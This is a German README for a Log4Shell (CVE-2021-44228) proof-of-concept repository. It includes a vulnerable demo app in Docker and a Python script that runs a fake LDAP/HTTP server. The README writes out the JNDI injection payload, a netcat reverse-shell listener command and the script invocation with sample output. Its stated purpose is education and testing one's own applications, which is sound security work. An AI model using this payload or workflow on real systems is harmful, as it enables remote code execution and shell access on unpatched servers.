
Proof-of-Concept-Exploit für CVE-2021-44228 (Log4Shell) mit automatischer Einrichtung eines LDAP/HTTP-Servers und Erstellung von Reverse-Shell-Payloads für Bildungstests.
Ein Proof-of-Concept für die kürzlich entdeckte Schwachstelle CVE-2021-44228.
Kürzlich wurde eine neue Schwachstelle in log4j entdeckt, einer Java-Logging-Bibliothek, die sehr weit verbreitet ist, unter anderem in Elasticsearch, Minecraft und vielen anderen.
In diesem Repository befinden sich eine beispielhafte anfällige Anwendung und ein Proof-of-Concept (POC) Exploit dafür.
Als PoC gibt es eine Python-Datei, die den Prozess automatisiert.
pip install -r requirements.txt
nc -lvnp <Netcat-Port=Beispiel=2034>
jdk1.8.0_20 tragen und sich im selben Verzeichnis befinden.$ python3 poc.py --userip <Ihre-IP-Adresse> --webport <Webserver-Port=Standard=8000> --lport <Netcat-Listener-Port=Standard=2034>
[!] CVE: CVE-2021-44228
[+] Exploit-Java-Klasse erfolgreich erstellt
[+] Richte gefälschten LDAP-Server ein
[+] Senden Sie mir: ${jndi:ldap://<Ihre-IP-Adresse>:1389/a}
Ich höre auf 0.0.0.0:1389
Dieses Skript richtet den HTTP-Server und den LDAP-Server für Sie ein und erstellt auch die Payload, die Sie in den anfälligen Parameter einfügen können. Danach sollten Sie, wenn alles gut gegangen ist, eine Shell auf dem lport erhalten.
Es gibt eine Dockerfile mit der anfälligen Webapp. Sie können diese wie folgt verwenden:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
Sobald sie läuft, können Sie unter localhost:8080 darauf zugreifen.
Hinweis: Sie müssen ein Konto erstellen, um das Paket herunterladen zu können.
Nachdem Sie das Archiv heruntergeladen und extrahiert haben, finden Sie java und einige zugehörige Binärdateien in jdk1.8.0_20/bin.
Hinweis: Stellen Sie sicher, dass Sie den JDK-Ordner mit demselben Namen in dieses Repository extrahieren, damit es funktioniert.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Dieses Repository ist nicht als One-Click-Exploit für CVE-2021-44228 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und vielleicht ihre eigenen Anwendungen zu testen (obwohl es bessere Anwendungen für diesen Zweck gibt, z.B.: https://log4shell.tools/).